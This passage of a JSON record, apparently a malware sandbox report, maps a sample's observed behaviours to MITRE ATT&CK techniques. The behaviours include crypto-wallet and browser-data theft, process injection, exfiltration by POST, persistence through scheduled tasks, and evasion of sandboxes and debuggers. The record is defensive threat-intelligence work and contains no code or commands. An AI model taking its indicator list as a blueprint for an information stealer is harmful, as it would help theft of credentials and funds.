files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Tries to steal crypto wallet extension (string)"},{"type":"suspicious","value":"Found Crypto currency wallets related strings"},{"type":"suspicious","value":"Found browsers sensitive information related strings"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to retrieve entry point of a process loaded into memory (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"},{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"PE file contains zero-size sections"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"YARA signature match – SDBM hashing algorithm"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"},{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"},{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Persistence","technique":"DLL Search Order Hijacking","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Defense Evasion","technique":"Embedded 